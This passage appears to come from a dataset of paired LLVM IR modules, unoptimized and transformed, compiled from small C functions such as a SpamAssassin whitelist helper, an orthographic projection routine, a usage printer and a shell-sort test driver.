@__const.addWhiteList.temp = private unnamed_addr constant [128 x i8] c"whitelist_from \00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00", align 16
@.str = private unnamed_addr constant [32 x i8] c"/etc/mail/spamassassin/local.cf\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @addWhiteList(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca [128 x i8], align 16
store ptr %0, ptr %2, align 8
call void @llvm.memcpy.p0.p0.i64(ptr align 16 %3, ptr align 16 @__const.addWhiteList.temp, i64 128, i1 false)
%4 = getelementptr inbounds [128 x i8], ptr %3, i64 0, i64 0
%5 = load ptr, ptr %2, align 8
%6 = call i32 @strcat(ptr noundef %4, ptr noundef %5)
%7 = getelementptr inbounds [128 x i8], ptr %3, i64 0, i64 0
%8 = call i32 @addConfAtLast(ptr noundef @.str, ptr noundef %7)
ret i32 %8
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite)
declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #1
declare i32 @strcat(ptr noundef, ptr noundef) #2
declare i32 @addConfAtLast(ptr noundef, ptr noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmprtbj1w8o.c'
source_filename = "/tmp/tmprtbj1w8o.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @RevOrtho(double noundef %0, double noundef %1, double noundef %2, i32 noundef %3, i32 noundef %4, ptr noundef %5, ptr noundef %6) #0 {
%8 = alloca double, align 8
%9 = alloca double, align 8
%10 = alloca double, align 8
%11 = alloca i32, align 4
%12 = alloca i32, align 4
%13 = alloca ptr, align 8
%14 = alloca ptr, align 8
%15 = alloca double, align 8
%16 = alloca double, align 8
%17 = alloca double, align 8
%18 = alloca double, align 8
%19 = alloca double, align 8
store double %0, ptr %8, align 8
store double %1, ptr %9, align 8
store double %2, ptr %10, align 8
store i32 %3, ptr %11, align 4
store i32 %4, ptr %12, align 4
store ptr %5, ptr %13, align 8
store ptr %6, ptr %14, align 8
%20 = load i32, ptr %11, align 4
%21 = sitofp i32 %20 to double
store double %21, ptr %18, align 8
%22 = load i32, ptr %12, align 4
%23 = sitofp i32 %22 to double
store double %23, ptr %19, align 8
%24 = load double, ptr %18, align 8
%25 = load double, ptr %18, align 8
%26 = load double, ptr %19, align 8
%27 = load double, ptr %19, align 8
%28 = fmul double %26, %27
%29 = call double @llvm.fmuladd.f64(double %24, double %25, double %28)
store double %29, ptr %17, align 8
%30 = load double, ptr %17, align 8
%31 = call double @sqrt(double noundef %30) #3
store double %31, ptr %15, align 8
%32 = load double, ptr %15, align 8
%33 = load double, ptr %8, align 8
%34 = fcmp ogt double %32, %33
br i1 %34, label %35, label %38
35: ; preds = %7
%36 = load ptr, ptr %14, align 8
store double 0x408F3F3333333333, ptr %36, align 8
%37 = load ptr, ptr %13, align 8
store double 0x408F3F3333333333, ptr %37, align 8
br label %93
38: ; preds = %7
%39 = load double, ptr %15, align 8
%40 = load double, ptr %8, align 8
%41 = fdiv double %40, 1.000000e+05
%42 = fcmp ogt double %39, %41
br i1 %42, label %43, label %87
43: ; preds = %38
%44 = load double, ptr %15, align 8
%45 = load double, ptr %8, align 8
%46 = fdiv double %44, %45
%47 = call double @asin(double noundef %46) #3
store double %47, ptr %16, align 8
%48 = load double, ptr %16, align 8
%49 = call double @cos(double noundef %48) #3
%50 = load double, ptr %10, align 8
%51 = call double @sin(double noundef %50) #3
%52 = load double, ptr %19, align 8
%53 = load double, ptr %16, align 8
%54 = call double @sin(double noundef %53) #3
%55 = fmul double %52, %54
%56 = load double, ptr %10, align 8
%57 = call double @cos(double noundef %56) #3
%58 = fmul double %55, %57
%59 = load double, ptr %15, align 8
%60 = fdiv double %58, %59
%61 = call double @llvm.fmuladd.f64(double %49, double %51, double %60)
%62 = call double @asin(double noundef %61) #3
%63 = load ptr, ptr %14, align 8
store double %62, ptr %63, align 8
%64 = load double, ptr %9, align 8
%65 = load double, ptr %18, align 8
%66 = load double, ptr %16, align 8
%67 = call double @sin(double noundef %66) #3
%68 = fmul double %65, %67
%69 = load double, ptr %15, align 8
%70 = load double, ptr %10, align 8
%71 = call double @cos(double noundef %70) #3
%72 = fmul double %69, %71
%73 = load double, ptr %16, align 8
%74 = call double @cos(double noundef %73) #3
%75 = load double, ptr %19, align 8
%76 = load double, ptr %10, align 8
%77 = call double @sin(double noundef %76) #3
%78 = fmul double %75, %77
%79 = load double, ptr %16, align 8
%80 = call double @sin(double noundef %79) #3
%81 = fmul double %78, %80
%82 = fneg double %81
%83 = call double @llvm.fmuladd.f64(double %72, double %74, double %82)
%84 = call double @atan2(double noundef %68, double noundef %83) #3
%85 = fadd double %64, %84
%86 = load ptr, ptr %13, align 8
store double %85, ptr %86, align 8
br label %92
87: ; preds = %38
%88 = load double, ptr %10, align 8
%89 = load ptr, ptr %14, align 8
store double %88, ptr %89, align 8
%90 = load double, ptr %9, align 8
%91 = load ptr, ptr %13, align 8
store double %90, ptr %91, align 8
br label %92
92: ; preds = %87, %43
br label %93
93: ; preds = %92, %35
ret void
}
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.fmuladd.f64(double, double, double) #1
; Function Attrs: nounwind
declare double @sqrt(double noundef) #2
; Function Attrs: nounwind
declare double @asin(double noundef) #2
; Function Attrs: nounwind
declare double @cos(double noundef) #2
; Function Attrs: nounwind
declare double @sin(double noundef) #2
; Function Attrs: nounwind
declare double @atan2(double noundef, double noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
attributes #2 = { nounwind "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmprtbj1w8o.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @RevOrtho(double noundef %0, double noundef %1, double noundef %2, i32 noundef %3, i32 noundef %4, ptr noundef %5, ptr noundef %6) #0 {
%8 = alloca double, align 8
%9 = alloca double, align 8
%10 = alloca double, align 8
%11 = alloca i32, align 4
%12 = alloca i32, align 4
%13 = alloca ptr, align 8
%14 = alloca ptr, align 8
%15 = alloca double, align 8
%16 = alloca double, align 8
%17 = alloca double, align 8
%18 = alloca double, align 8
%19 = alloca double, align 8
store double %0, ptr %8, align 8
store double %1, ptr %9, align 8
store double %2, ptr %10, align 8
store i32 %3, ptr %11, align 4
store i32 %4, ptr %12, align 4
store ptr %5, ptr %13, align 8
store ptr %6, ptr %14, align 8
%20 = load i32, ptr %11, align 4
%21 = sitofp i32 %20 to double
store double %21, ptr %18, align 8
%22 = load i32, ptr %12, align 4
%23 = sitofp i32 %22 to double
store double %23, ptr %19, align 8
%24 = load double, ptr %18, align 8
%25 = load double, ptr %18, align 8
%26 = load double, ptr %19, align 8
%27 = load double, ptr %19, align 8
%28 = fmul double %26, %27
%29 = call double @llvm.fmuladd.f64(double %24, double %25, double %28)
store double %29, ptr %17, align 8
%30 = load double, ptr %17, align 8
%31 = call double @sqrt(double noundef %30) #3
store double %31, ptr %15, align 8
%32 = load double, ptr %15, align 8
%33 = load double, ptr %8, align 8
%34 = fcmp ogt double %32, %33
br i1 %34, label %35, label %38
35: ; preds = %7
%36 = load ptr, ptr %14, align 8
store double 0x408F3F3333333333, ptr %36, align 8
%37 = load ptr, ptr %13, align 8
store double 0x408F3F3333333333, ptr %37, align 8
br label %93
38: ; preds = %7
%39 = load double, ptr %15, align 8
%40 = load double, ptr %8, align 8
%41 = fdiv double %40, 1.000000e+05
%42 = fcmp ogt double %39, %41
br i1 %42, label %43, label %87
43: ; preds = %38
%44 = load double, ptr %15, align 8
%45 = load double, ptr %8, align 8
%46 = fdiv double %44, %45
%47 = call double @asin(double noundef %46) #3
store double %47, ptr %16, align 8
%48 = load double, ptr %16, align 8
%49 = call double @cos(double noundef %48) #3
%50 = load double, ptr %10, align 8
%51 = call double @sin(double noundef %50) #3
%52 = load double, ptr %19, align 8
%53 = load double, ptr %16, align 8
%54 = call double @sin(double noundef %53) #3
%55 = fmul double %52, %54
%56 = load double, ptr %10, align 8
%57 = call double @cos(double noundef %56) #3
%58 = fmul double %55, %57
%59 = load double, ptr %15, align 8
%60 = fdiv double %58, %59
%61 = call double @llvm.fmuladd.f64(double %49, double %51, double %60)
%62 = call double @asin(double noundef %61) #3
%63 = load ptr, ptr %14, align 8
store double %62, ptr %63, align 8
%64 = load double, ptr %9, align 8
%65 = load double, ptr %18, align 8
%66 = load double, ptr %16, align 8
%67 = call double @sin(double noundef %66) #3
%68 = fmul double %65, %67
%69 = load double, ptr %15, align 8
%70 = load double, ptr %10, align 8
%71 = call double @cos(double noundef %70) #3
%72 = fmul double %69, %71
%73 = load double, ptr %16, align 8
%74 = call double @cos(double noundef %73) #3
%75 = load double, ptr %19, align 8
%76 = load double, ptr %10, align 8
%77 = call double @sin(double noundef %76) #3
%78 = fmul double %75, %77
%79 = load double, ptr %16, align 8
%80 = call double @sin(double noundef %79) #3
%81 = fmul double %78, %80
%82 = fneg double %81
%83 = call double @llvm.fmuladd.f64(double %72, double %74, double %82)
%84 = call double @atan2(double noundef %68, double noundef %83) #3
%85 = fadd double %64, %84
%86 = load ptr, ptr %13, align 8
store double %85, ptr %86, align 8
br label %92
87: ; preds = %38
%88 = load double, ptr %10, align 8
%89 = load ptr, ptr %14, align 8
store double %88, ptr %89, align 8
%90 = load double, ptr %9, align 8
%91 = load ptr, ptr %13, align 8
store double %90, ptr %91, align 8
br label %92
92: ; preds = %87, %43
br label %93
93: ; preds = %92, %35
ret void
}
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.fmuladd.f64(double, double, double) #1
; Function Attrs: nounwind
declare double @sqrt(double noundef) #2
; Function Attrs: nounwind
declare double @asin(double noundef) #2
; Function Attrs: nounwind
declare double @cos(double noundef) #2
; Function Attrs: nounwind
declare double @sin(double noundef) #2
; Function Attrs: nounwind
declare double @atan2(double noundef, double noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
attributes #2 = { nounwind "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp172eeypm.c'
source_filename = "/tmp/tmp172eeypm.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [4 x i8] c"JSR\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @outcalladr() #0 {
%1 = call i32 @outop2str(ptr noundef @.str)
ret void
}
declare i32 @outop2str(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp172eeypm.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [4 x i8] c"JSR\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @outcalladr() #0 {
%1 = call i32 @outop2str(ptr noundef @.str)
ret void
}
declare i32 @outop2str(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpd7i2nf3g.c'
source_filename = "/tmp/tmpd7i2nf3g.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @nondet_generate_aux_witness_files() #0 {
%1 = call i32 (...) @map2check_nondet_get_log()
%2 = call i32 @nondet_log_to_file(i32 noundef %1)
ret void
}
declare i32 @nondet_log_to_file(i32 noundef) #1
declare i32 @map2check_nondet_get_log(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpd7i2nf3g.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @nondet_generate_aux_witness_files() #0 {
%1 = call i32 (...) @map2check_nondet_get_log()
%2 = call i32 @nondet_log_to_file(i32 noundef %1)
ret void
}
declare i32 @nondet_log_to_file(i32 noundef) #1
declare i32 @map2check_nondet_get_log(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpep8fcl09.c'
source_filename = "/tmp/tmpep8fcl09.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store i32 0, ptr %7, align 4
store i32 0, ptr %8, align 4
store i32 0, ptr %8, align 4
br label %9
9: ; preds = %17, %2
%10 = load i32, ptr %8, align 4
%11 = icmp slt i32 %10, 2
br i1 %11, label %12, label %20
12: ; preds = %9
%13 = load i32, ptr %7, align 4
%14 = load i32, ptr %6, align 4
%15 = call i32 @suma(i32 noundef %14, i32 noundef 2)
%16 = add nsw i32 %13, %15
store i32 %16, ptr %7, align 4
br label %17
17: ; preds = %12
%18 = load i32, ptr %8, align 4
%19 = add nsw i32 %18, 1
store i32 %19, ptr %8, align 4
br label %9, !llvm.loop !6
20: ; preds = %9
%21 = load i32, ptr %7, align 4
ret i32 %21
}
declare i32 @suma(i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpep8fcl09.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store i32 0, ptr %7, align 4
store i32 0, ptr %8, align 4
store i32 0, ptr %8, align 4
%9 = load i32, ptr %8, align 4
%10 = icmp slt i32 %9, 2
br i1 %10, label %.lr.ph, label %21
.lr.ph: ; preds = %2
br label %11
11: ; preds = %.lr.ph, %16
%12 = load i32, ptr %7, align 4
%13 = load i32, ptr %6, align 4
%14 = call i32 @suma(i32 noundef %13, i32 noundef 2)
%15 = add nsw i32 %12, %14
store i32 %15, ptr %7, align 4
br label %16
16: ; preds = %11
%17 = load i32, ptr %8, align 4
%18 = add nsw i32 %17, 1
store i32 %18, ptr %8, align 4
%19 = load i32, ptr %8, align 4
%20 = icmp slt i32 %19, 2
br i1 %20, label %11, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %16
br label %21
21: ; preds = %._crit_edge, %2
%22 = load i32, ptr %7, align 4
ret i32 %22
}
declare i32 @suma(i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmp4dman5fk.c'
source_filename = "/tmp/tmp4dman5fk.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [8 x i8] c"usage:\0A\00", align 1
@.str.1 = private unnamed_addr constant [19 x i8] c" -h help message\0A\00", align 1
@.str.2 = private unnamed_addr constant [11 x i8] c" -p port\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @usage() #0 {
%1 = call i32 @printf(ptr noundef @.str)
%2 = call i32 @printf(ptr noundef @.str.1)
%3 = call i32 @printf(ptr noundef @.str.2)
ret void
}
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp4dman5fk.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [8 x i8] c"usage:\0A\00", align 1
@.str.1 = private unnamed_addr constant [19 x i8] c" -h help message\0A\00", align 1
@.str.2 = private unnamed_addr constant [11 x i8] c" -p port\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @usage() #0 {
%1 = call i32 @printf(ptr noundef @.str)
%2 = call i32 @printf(ptr noundef @.str.1)
%3 = call i32 @printf(ptr noundef @.str.2)
ret void
}
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmph8moxrb1.c'
source_filename = "/tmp/tmph8moxrb1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [40 x i8] c"After sorting:\0A***********************\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @main() #0 {
%1 = alloca [200 x i32], align 16
%2 = getelementptr inbounds [200 x i32], ptr %1, i64 0, i64 0
%3 = call i32 @randomIntArray(ptr noundef %2, i32 noundef 200, i32 noundef 0, i32 noundef 1000)
%4 = getelementptr inbounds [200 x i32], ptr %1, i64 0, i64 0
%5 = call i32 @printArray(ptr noundef %4, i32 noundef 200)
%6 = getelementptr inbounds [200 x i32], ptr %1, i64 0, i64 0
%7 = call i32 @checkAscending(ptr noundef %6, i32 noundef 200)
%8 = call i32 @printf(ptr noundef @.str)
%9 = getelementptr inbounds [200 x i32], ptr %1, i64 0, i64 0
%10 = call i32 @shellSort1(ptr noundef %9, i32 noundef 200)
%11 = getelementptr inbounds [200 x i32], ptr %1, i64 0, i64 0
%12 = call i32 @printArray(ptr noundef %11, i32 noundef 200)
%13 = getelementptr inbounds [200 x i32], ptr %1, i64 0, i64 0
%14 = call i32 @checkAscending(ptr noundef %13, i32 noundef 200)
ret void
}
declare i32 @randomIntArray(ptr noundef, i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @printArray(ptr noundef, i32 noundef) #1
declare i32 @checkAscending(ptr noundef, i32 noundef) #1
declare i32 @printf(ptr noundef) #1
declare i32 @shellSort1(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
